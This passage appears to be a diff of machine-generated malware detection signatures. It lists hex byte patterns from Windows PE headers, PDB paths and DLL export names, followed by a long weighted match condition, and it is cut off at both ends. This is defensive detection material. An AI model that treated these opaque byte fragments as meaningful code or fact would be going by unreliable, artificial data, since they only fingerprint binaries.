e0 00 02 } //28526 - $a_09_953 = {00 } //2849 - $a_00_969 = {40 05 00 } //0 - $a_00_976 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 1c 00 00 00 } //0 - $a_78_995 = {00 00 00 76 00 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b be eb 67 00 00 00 00 02 00 00 00 22 00 00 00 54 10 00 00 54 02 00 00 00 00 00 00 00 00 } //29742 - $a_bd_996 = {67 00 00 00 00 48 10 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 42 41 4d 45 2e 44 4c 4c 00 00 00 52 53 44 53 ac 5e ec 75 47 3c 24 4a bd e6 bf 62 b7 d5 27 f7 01 00 00 00 76 62 61 6d 65 2e 70 64 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //0 + $a_ce_878 = {6e 04 a0 8b 6e 04 a0 8b 6e 04 a0 8b 67 7c 32 8b 6f 04 a0 8b 67 7c 24 8b 6f 04 a0 8b 67 7c 31 8b 6f 04 a0 8b 52 69 63 68 6e 04 a0 8b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 01 00 2f da 91 68 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 } //10752 + $a_00_880 = {10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 20 00 00 00 02 00 00 25 b9 00 00 03 00 40 05 00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 10 00 00 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 1c } //14080 + $a_00_900 = {00 00 b8 01 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2f da 91 68 00 00 00 00 02 00 00 00 25 00 00 00 1c 10 00 00 1c 02 00 00 52 53 44 53 02 71 eb a9 16 7c d6 4f 9f ef a4 1e 7f e3 3b 64 01 00 } //30821 + $a_69_901 = {69 70 73 65 63 2e 70 64 62 00 8b ff 55 8b ec 8b 45 08 f7 d8 1b c0 83 e0 a9 83 c0 57 5d c2 04 00 8b ff 55 8b ec 83 7d 0c 00 74 05 6a 32 58 eb 0d 8b 45 20 f7 d8 1b c0 83 e0 a9 83 c0 57 5d c2 20 00 8b ff 55 8b ec 8b 45 08 f7 d8 1b c0 83 e0 a9 83 c0 57 5d c2 18 00 6a 32 58 c2 10 00 8b ff 55 8b ec 33 c9 39 4d 0c 74 05 6a 32 58 eb 1a 39 4d 08 75 04 6a 57 eb f4 } //0 + $a_3b_902 = {74 08 39 08 74 04 6a 7c eb e5 33 c0 5d c2 10 00 } //17803 + $a_8b_903 = {8b 45 08 f7 d8 1b c0 83 e0 a9 83 c0 57 5d c2 04 00 cc cc cc cc cc cc cc 00 00 00 00 45 d9 91 68 00 00 00 00 44 11 00 00 01 00 00 00 06 00 00 00 06 00 00 00 08 11 00 00 20 11 00 00 38 11 00 00 41 10 00 00 c3 10 00 00 8e 10 00 00 57 10 00 00 78 10 00 00 94 } //-117 + $a_11_905 = {00 80 11 00 00 8f 11 00 00 a0 11 00 00 ac 11 00 00 00 00 01 00 02 00 03 00 04 00 05 00 57 49 4e 49 50 53 45 43 2e 44 4c 4c 00 43 6c 6f 73 65 4d 4d 46 69 6c 74 65 72 48 61 6e 64 6c 65 00 43 6c 6f 73 65 54 72 61 6e 73 70 6f 72 74 46 69 6c 74 65 72 48 61 6e 64 6c 65 00 44 65 6c 65 74 65 4d 4d 50 6f 6c 69 } //0 + $a_41_907 = {74 68 4d 65 74 68 6f 64 73 00 47 65 74 51 4d 50 6f 6c 69 63 79 00 53 65 74 4d 4d 46 69 6c 74 65 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //19828 + $a_90_916 = {03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e } //19712 + $a_20_917 = {65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 65 ce d8 6e 04 a0 8b 6e 04 a0 8b 6e 04 a0 8b 67 7c 32 8b 6f 04 a0 8b 67 7c 24 8b 6f 04 a0 8b 67 7c 31 8b 6f 04 a0 8b 52 69 63 68 6e 04 a0 8b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 01 00 2f da 91 68 00 00 00 00 00 00 00 00 e0 00 02 } //28526 + $a_09_918 = {00 } //2849 + $a_73_925 = {10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 20 00 00 00 02 00 00 e5 73 00 00 03 00 40 05 00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 10 00 00 93 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f3 00 00 00 00 10 00 } //0 + $a_00_926 = {00 00 } //0 + $a_da_940 = {68 00 00 00 00 02 00 00 00 24 00 00 00 1c 10 00 00 1c 02 00 00 52 53 44 53 0d 57 f6 91 d6 34 67 4a 98 bc 7c 15 63 7c 72 56 01 00 00 00 74 32 } //0 + $a_65_941 = {2e 70 64 62 00 33 c0 c2 08 00 8b ff 55 8b ec 8b 45 08 f7 d8 1b c0 83 e0 fa 83 c0 06 5d c2 18 00 cc cc cc cc cc 00 00 00 00 44 d9 91 68 00 00 00 00 a6 10 00 00 08 00 00 00 03 00 00 00 03 00 00 00 88 10 00 00 94 10 00 00 a0 10 00 00 40 10 00 00 45 10 00 00 45 10 00 00 cf 10 00 00 b2 10 00 00 df } //28005 + $a_45_944 = {42 45 44 2e 44 4c 4c 00 54 54 45 6e 61 62 6c 65 45 6d 62 65 64 64 69 6e 67 46 6f 72 46 61 63 65 6e 61 6d 65 00 54 54 43 68 61 72 54 6f 55 6e 69 63 6f } //21504 䕂⹄䱄L呔湅扡敬浅敢摤湩䙧牯慆散慮敭吀䍔慨呲啯楮潣 + $a_61_946 = {54 6f 55 6e 69 63 6f 64 65 40 32 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //17236 + $a_00_991 = {04 00 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d } //0 + $a_ce_996 = {6e 04 a0 8b 6e 04 a0 8b 6e 04 a0 8b 67 7c 32 8b 6f 04 a0 8b 67 7c 24 8b 6f 04 a0 8b 67 7c 31 8b 6f 04 a0 8b 52 69 63 68 6e 04 a0 8b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 01 00 d0 d9 91 68 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 } //10752 + $a_00_998 = {10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 20 00 00 00 02 00 00 a0 8e 00 00 03 00 40 05 00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 50 10 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //0 + $a_78_1011 = {00 00 00 a2 00 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 d9 91 68 00 00 00 00 02 00 00 00 27 00 00 00 1c 10 00 00 1c 02 00 00 52 53 44 53 f7 cc } //29742 + $a_b8_1012 = {42 ab be 08 5e a3 b6 54 16 01 00 00 00 75 6e 6b 6e 6f 77 6e 73 79 73 2e 70 64 62 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc 00 00 00 00 0b d9 91 68 00 00 00 00 82 10 00 00 01 00 00 00 01 00 00 00 01 00 00 00 78 10 00 00 7c 10 00 00 80 10 00 00 43 10 00 00 91 10 00 00 00 00 55 4e 4b 4e 4f 57 4e 53 59 53 2e 44 4c 4c 00 55 6e 69 6d 70 6c 65 6d 65 6e 74 65 64 41 50 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //-27726 condition: - ((#a_72_0 & 1)*22051+(#a_f1_1 & 1)*273+(#a_00_2 & 1)*-28528+(#a_4d_3 & 1)*266+(#a_08_4 & 1)*-29952+(#a_33_5 & 1)*19851+(#a_00_6 & 1)*276+(#a_02_8 & 1)*-28511+(#a_90_9 & 1)*-30720+(#a_90_10 & 1)*-31806+(#a_44_11 & 1)*17176+(#a_43_12 & 1)*1+(#a_40_13 & 1)*3072+(#a_90_14 & 1)*-30503+(#a_4d_15 & 1)*64+(#a_90_16 & 1)*276+(#a_05_17 & 1)*-30208+(#a_88_18 & 1)*400+(#a_4c_19 & 1)*17171+(#a_00_20 & 1)*9484+(#a_8b_22 & 1)*13123+(#a_08_23 & 1)*15680+(#a_40_24 & 1)*4608+(#a_00_25 & 1)*513+(#a_00_27 & 1)*769+(#a_8a_29 & 1)*3584+(#a_01_30 & 1)*-3456+(#a_01_31 & 1)*-28431+(#a_32_33 & 1)*2816+(#a_10_34 & 1)*257+(#a_33_35 & 1)*9292+(#a_32_36 & 1)*-255+(#a_00_37 & 1)*780+(#a_03_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_01_45 & 1)*1+(#a_03_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_03_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_03_53 & 1)*1+(#a_01_54 & 1)*1+(#a_03_55 & 1)*1+(#a_01_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_01_61 & 1)*1+(#a_03_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_03_79 & 1)*1+(#a_03_80 & 1)*1+(#a_03_81 & 1)*1+(#a_03_82 & 1)*1+(#a_03_83 & 1)*1+(#a_03_84 & 1)*1+(#a_03_85 & 1)*1+(#a_03_86 & 1)*1+(#a_03_87 & 1)*1+(#a_03_88 & 1)*1+(#a_03_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_03_92 & 1)*1+(#a_03_93 & 1)*1+(#a_03_94 & 1)*1+(#a_03_95 & 1)*1+(#a_03_96 & 1)*1+(#a_03_97 & 1)*1+(#a_03_98 & 1)*1+(#a_01_99 & 1)*1+(#a_03_100 & 1)*1+(#a_01_101 & 1)*1+(#a_03_102 & 1)*1+(#a_03_103 & 1)*1+(#a_03_104 & 1)*1+(#a_03_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1+(#a_03_108 & 1)*1+(#a_03_109 & 1)*1+(#a_03_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_03_115 & 1)*1+(#a_03_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_03_121 & 1)*1+(#a_03_122 & 1)*1+(#a_01_123 & 1)*1+(#a_03_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_03_127 & 1)*1+(#a_01_128 & 1)*1+(#a_03_129 & 1)*1+(#a_03_130 & 1)*1+(#a_03_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_03_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_03_142 & 1)*1+(#a_03_143 & 1)*1+(#a_03_144 & 1)*1+(#a_03_145 & 1)*1+(#a_03_146 & 1)*1+(#a_03_147 & 1)*1+(#a_03_148 & 1)*1+(#a_03_149 & 1)*1+(#a_03_150 & 1)*1+(#a_03_151 & 1)*1+(#a_03_152 & 1)*1+(#a_03_153 & 1)*1+(#a_03_154 & 1)*1+(#a_03_155 & 1)*1+(#a_03_156 & 1)*1+(#a_03_157 & 1)*1+(#a_03_158 & 1)*1+(#a_03_159 & 1)*1+(#a_01_160 & 1)*1+(#a_03_161 & 1)*1+(#a_03_162 & 1)*1+(#a_03_163 & 1)*1+(#a_03_164 & 1)*1+(#a_03_165 & 1)*1+(#a_03_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_03_170 & 1)*1+(#a_01_171 & 1)*1+(#a_03_172 & 1)*1+(#a_03_173 & 1)*1+(#a_01_174 & 1)*1+(#a_03_175 & 1)*1+(#a_03_176 & 1)*1+(#a_03_177 & 1)*1+(#a_03_178 & 1)*1+(#a_03_179 & 1)*1+(#a_03_180 & 1)*1+(#a_03_181 & 1)*1+(#a_03_182 & 1)*1+(#a_03_183 & 1)*1+(#a_03_184 & 1)*1+(#a_03_185 & 1)*1+(#a_03_186 & 1)*1+(#a_03_187 & 1)*1+(#a_03_188 & 1)*1+(#a_03_189 & 1)*1+(#a_03_190 & 1)*1+(#a_03_191 & 1)*1+(#a_03_192 & 1)*1+(#a_03_193 & 1)*1+(#a_03_194 & 1)*1+(#a_03_195 & 1)*1+(#a_01_196 & 1)*1+(#a_03_197 & 1)*1+(#a_03_198 & 1)*1+(#a_03_199 & 1)*1+(#a_03_200 & 1)*1+(#a_03_201 & 1)*1+(#a_03_202 & 1)*1+(#a_03_203 & 1)*1+(#a_03_204 & 1)*1+(#a_01_205 & 1)*1+(#a_03_206 & 1)*1+(#a_03_207 & 1)*1+(#a_03_208 & 1)*1+(#a_03_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_03_212 & 1)*1+(#a_03_213 & 1)*1+(#a_01_214 & 1)*1+(#a_03_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_03_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_03_221 & 1)*1+(#a_01_222 & 1)*1+(#a_03_223 & 1)*1+(#a_01_224 & 1)*1+(#a_03_225 & 1)*1+(#a_03_226 & 1)*1+(#a_03_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_03_232 & 1)*1+(#a_03_233 & 1)*1+(#a_03_234 & 1)*1+(#a_01_235 & 1)*1+(#a_03_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_03_239 & 1)*1+(#a_01_240 & 1)*1+(#a_03_241 & 1)*1+(#a_03_242 & 1)*1+(#a_01_243 & 1)*1+(#a_03_244 & 1)*1+(#a_03_245 & 1)*1+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_03_249 & 1)*1+(#a_03_250 & 1)*1+(#a_03_251 & 1)*1+(#a_03_252 & 1)*1+(#a_03_253 & 1)*1+(#a_03_254 & 1)*1+(#a_03_255 & 1)*1+(#a_01_256 & 1)*1+(#a_03_257 & 1)*1+(#a_01_258 & 1)*1+(#a_01_259 & 1)*1+(#a_03_260 & 1)*1+(#a_03_261 & 1)*1+(#a_03_262 & 1)*1+(#a_03_263 & 1)*1+(#a_01_264 & 1)*1+(#a_01_265 & 1)*1+(#a_01_266 & 1)*1+(#a_03_267 & 1)*1+(#a_03_268 & 1)*1+(#a_03_269 & 1)*1+(#a_03_270 & 1)*1+(#a_01_271 & 1)*1+(#a_01_272 & 1)*1+(#a_01_273 & 1)*1+(#a_01_274 & 1)*1+(#a_03_275 & 1)*1+(#a_03_276 & 1)*1+(#a_03_277 & 1)*1+(#a_03_278 & 1)*1+(#a_03_279 & 1)*1+(#a_03_280 & 1)*1+(#a_01_281 & 1)*1+(#a_01_282 & 1)*1+(#a_01_283 & 1)*1+(#a_01_284 & 1)*1+(#a_03_285 & 1)*1+(#a_03_286 & 1)*1+(#a_01_287 & 1)*1+(#a_01_288 & 1)*1+(#a_03_289 & 1)*1+(#a_03_290 & 1)*1+(#a_01_291 & 1)*1+(#a_01_292 & 1)*1+(#a_03_293 & 1)*1+(#a_03_294 & 1)*1+(#a_03_295 & 1)*1+(#a_03_296 & 1)*1+(#a_03_297 & 1)*1+(#a_01_298 & 1)*1+(#a_03_299 & 1)*1+(#a_03_300 & 1)*1+(#a_03_301 & 1)*1+(#a_03_302 & 1)*1+(#a_03_303 & 1)*1+(#a_03_304 & 1)*1+(#a_03_305 & 1)*1+(#a_03_306 & 1)*1+(#a_03_307 & 1)*1+(#a_03_308 & 1)*1+(#a_01_309 & 1)*1+(#a_01_310 & 1)*1+(#a_01_311 & 1)*1+(#a_03_312 & 1)*1+(#a_03_313 & 1)*1+(#a_01_314 & 1)*1+(#a_03_315 & 1)*1+(#a_01_316 & 1)*1+(#a_01_317 & 1)*1+(#a_03_318 & 1)*1+(#a_01_319 & 1)*1+(#a_01_320 & 1)*1+(#a_01_321 & 1)*1+(#a_01_322 & 1)*1+(#a_03_323 & 1)*1+(#a_03_324 & 1)*1+(#a_01_325 & 1)*1+(#a_03_326 & 1)*1+(#a_03_327 & 1)*1+(#a_01_328 & 1)*1+(#a_03_329 & 1)*1+(#a_03_330 & 1)*1+(#a_03_331 & 1)*1+(#a_01_332 & 1)*1+(#a_03_333 & 1)*1+(#a_03_334 & 1)*1+(#a_03_335 & 1)*1+(#a_01_336 & 1)*1+(#a_03_337 & 1)*1+(#a_03_338 & 1)*1+(#a_03_339 & 1)*1+(#a_03_340 & 1)*1+(#a_03_341 & 1)*1+(#a_03_342 & 1)*1+(#a_01_343 & 1)*1+(#a_01_344 & 1)*1+(#a_03_345 & 1)*1+(#a_03_346 & 1)*1+(#a_03_347 & 1)*1+(#a_03_348 & 1)*1+(#a_03_349 & 1)*1+(#a_01_350 & 1)*1+(#a_03_351 & 1)*1+(#a_01_352 & 1)*1+(#a_03_353 & 1)*1+(#a_01_354 & 1)*1+(#a_01_355 & 1)*1+(#a_01_356 & 1)*1+(#a_01_357 & 1)*1+(#a_01_358 & 1)*1+(#a_01_359 & 1)*1+(#a_03_360 & 1)*1+(#a_01_361 & 1)*1+(#a_03_362 & 1)*1+(#a_01_363 & 1)*1+(#a_01_364 & 1)*1+(#a_03_365 & 1)*1+(#a_01_366 & 1)*1+(#a_01_367 & 1)*1+(#a_01_368 & 1)*1+(#a_01_369 & 1)*1+(#a_01_370 & 1)*1+(#a_01_371 & 1)*1+(#a_03_372 & 1)*1+(#a_03_373 & 1)*1+(#a_03_374 & 1)*1+(#a_03_375 & 1)*1+(#a_03_376 & 1)*1+(#a_01_377 & 1)*1+(#a_03_378 & 1)*1+(#a_03_379 & 1)*1+(#a_01_380 & 1)*1+(#a_01_381 & 1)*1+(#a_03_382 & 1)*1+(#a_01_383 & 1)*1+(#a_01_384 & 1)*1+(#a_01_385 & 1)*1+(#a_01_386 & 1)*1+(#a_01_387 & 1)*1+(#a_03_388 & 1)*1+(#a_03_389 & 1)*1+(#a_01_390 & 1)*1+(#a_03_391 & 1)*1+(#a_03_392 & 1)*1+(#a_03_393 & 1)*1+(#a_03_394 & 1)*1+(#a_03_395 & 1)*1+(#a_03_396 & 1)*1+(#a_01_397 & 1)*1+(#a_01_398 & 1)*1+(#a_03_399 & 1)*1+(#a_03_400 & 1)*1+(#a_03_401 & 1)*1+(#a_03_402 & 1)*1+(#a_01_403 & 1)*1+(#a_03_404 & 1)*1+(#a_01_405 & 1)*1+(#a_03_406 & 1)*1+(#a_01_407 & 1)*1+(#a_03_408 & 1)*1+(#a_01_409 & 1)*1+(#a_01_410 & 1)*1+(#a_03_411 & 1)*1+(#a_01_412 & 1)*1+(#a_01_413 & 1)*1+(#a_01_414 & 1)*1+(#a_01_415 & 1)*1+(#a_03_416 & 1)*1+(#a_01_417 & 1)*1+(#a_03_418 & 1)*1+(#a_01_419 & 1)*1+(#a_03_420 & 1)*1+(#a_03_421 & 1)*1+(#a_01_422 & 1)*1+(#a_03_423 & 1)*1+(#a_03_424 & 1)*1+(#a_01_425 & 1)*1+(#a_01_426 & 1)*1+(#a_01_427 & 1)*1+(#a_01_428 & 1)*1+(#a_03_429 & 1)*1+(#a_01_430 & 1)*1+(#a_03_431 & 1)*1+(#a_03_432 & 1)*1+(#a_03_433 & 1)*1+(#a_01_434 & 1)*1+(#a_03_435 & 1)*1+(#a_03_436 & 1)*1+(#a_03_437 & 1)*1+(#a_03_438 & 1)*1+(#a_03_439 & 1)*1+(#a_03_440 & 1)*1+(#a_03_441 & 1)*1+(#a_03_442 & 1)*1+(#a_03_443 & 1)*1+(#a_03_444 & 1)*1+(#a_03_445 & 1)*1+(#a_01_446 & 1)*1+(#a_03_447 & 1)*1+(#a_03_448 & 1)*1+(#a_03_449 & 1)*1+(#a_03_450 & 1)*1+(#a_03_451 & 1)*1+(#a_03_452 & 1)*1+(#a_03_453 & 1)*1+(#a_03_454 & 1)*1+(#a_03_455 & 1)*1+(#a_03_456 & 1)*1+(#a_03_457 & 1)*1+(#a_03_458 & 1)*1+(#a_03_459 & 1)*1+(#a_03_460 & 1)*1+(#a_03_461 & 1)*1+(#a_03_462 & 1)*1+(#a_03_463 & 1)*1+(#a_01_464 & 1)*1+(#a_03_465 & 1)*1+(#a_03_466 & 1)*1+(#a_01_467 & 1)*1+(#a_03_468 & 1)*1+(#a_01_469 & 1)*1+(#a_03_470 & 1)*1+(#a_03_471 & 1)*1+(#a_03_472 & 1)*1+(#a_03_473 & 1)*1+(#a_03_474 & 1)*1+(#a_01_475 & 1)*1+(#a_03_476 & 1)*1+(#a_03_477 & 1)*1+(#a_03_478 & 1)*1+(#a_01_479 & 1)*1+(#a_03_480 & 1)*1+(#a_01_481 & 1)*1+(#a_01_482 & 1)*1+(#a_01_483 & 1)*1+(#a_03_484 & 1)*1+(#a_03_485 & 1)*1+(#a_03_486 & 1)*1+(#a_03_487 & 1)*1+(#a_01_488 & 1)*1+(#a_03_489 & 1)*1+(#a_03_490 & 1)*1+(#a_03_491 & 1)*1+(#a_01_492 & 1)*1+(#a_03_493 & 1)*1+(#a_03_494 & 1)*1+(#a_01_495 & 1)*1+(#a_03_496 & 1)*1+(#a_03_497 & 1)*1+(#a_03_498 & 1)*1+(#a_01_499 & 1)*1+(#a_03_500 & 1)*1+(#a_03_501 & 1)*1+(#a_03_502 & 1)*1+(#a_03_503 & 1)*1+(#a_03_504 & 1)*1+(#a_03_505 & 1)*1+(#a_03_506 & 1)*1+(#a_03_507 & 1)*1+(#a_03_508 & 1)*1+(#a_03_509 & 1)*1+(#a_03_510 & 1)*1+(#a_03_511 & 1)*1+(#a_03_512 & 1)*1+(#a_03_513 & 1)*1+(#a_03_514 & 1)*1+(#a_03_515 & 1)*1+(#a_03_516 & 1)*1+(#a_03_517 & 1)*1+(#a_03_518 & 1)*1+(#a_03_519 & 1)*1+(#a_03_520 & 1)*1+(#a_03_521 & 1)*1+(#a_03_522 & 1)*1+(#a_03_523 & 1)*1+(#a_03_524 & 1)*1+(#a_01_525 & 1)*1+(#a_03_526 & 1)*1+(#a_03_527 & 1)*1+(#a_03_528 & 1)*1+(#a_03_529 & 1)*1+(#a_03_530 & 1)*1+(#a_03_531 & 1)*1+(#a_03_532 & 1)*1+(#a_03_533 & 1)*1+(#a_03_534 & 1)*1+(#a_03_535 & 1)*1+(#a_03_536 & 1)*1+(#a_03_537 & 1)*1+(#a_03_538 & 1)*1+(#a_03_539 & 1)*1+(#a_03_540 & 1)*1+(#a_03_541 & 1)*1+(#a_03_542 & 1)*1+(#a_03_543 & 1)*1+(#a_03_544 & 1)*1+(#a_03_545 & 1)*1+(#a_03_546 & 1)*1+(#a_03_547 & 1)*1+(#a_03_548 & 1)*1+(#a_03_549 & 1)*1+(#a_03_550 & 1)*1+(#a_03_551 & 1)*1+(#a_03_552 & 1)*1+(#a_03_553 & 1)*1+(#a_03_554 & 1)*1+(#a_03_555 & 1)*1+(#a_03_556 & 1)*1+(#a_03_557 & 1)*1+(#a_03_558 & 1)*1+(#a_03_559 & 1)*1+(#a_03_560 & 1)*1+(#a_03_561 & 1)*1+(#a_03_562 & 1)*1+(#a_03_563 & 1)*1+(#a_03_564 & 1)*1+(#a_03_565 & 1)*1+(#a_03_566 & 1)*1+(#a_03_567 & 1)*1+(#a_01_568 & 1)*1+(#a_03_569 & 1)*1+(#a_03_570 & 1)*1+(#a_03_571 & 1)*1+(#a_03_572 & 1)*1+(#a_03_573 & 1)*1+(#a_03_574 & 1)*1+(#a_03_575 & 1)*1+(#a_03_576 & 1)*1+(#a_03_577 & 1)*1+(#a_01_578 & 1)*1+(#a_03_579 & 1)*1+(#a_03_580 & 1)*1+(#a_03_581 & 1)*1+(#a_03_582 & 1)*1+(#a_01_583 & 1)*1+(#a_03_584 & 1)*1+(#a_03_585 & 1)*1+(#a_01_586 & 1)*1+(#a_03_587 & 1)*1+(#a_01_588 & 1)*1+(#a_03_589 & 1)*1+(#a_03_590 & 1)*1+(#a_03_591 & 1)*1+(#a_01_592 & 1)*1+(#a_01_593 & 1)*1+(#a_01_594 & 1)*1+(#a_03_595 & 1)*1+(#a_01_596 & 1)*1+(#a_03_597 & 1)*1+(#a_03_598 & 1)*1+(#a_03_599 & 1)*1+(#a_03_600 & 1)*1+(#a_01_601 & 1)*1+(#a_01_602 & 1)*1+(#a_01_603 & 1)*1+(#a_03_604 & 1)*1+(#a_03_605 & 1)*1+(#a_03_606 & 1)*1+(#a_01_607 & 1)*1+(#a_01_608 & 1)*1+(#a_01_609 & 1)*1+(#a_01_610 & 1)*1+(#a_03_611 & 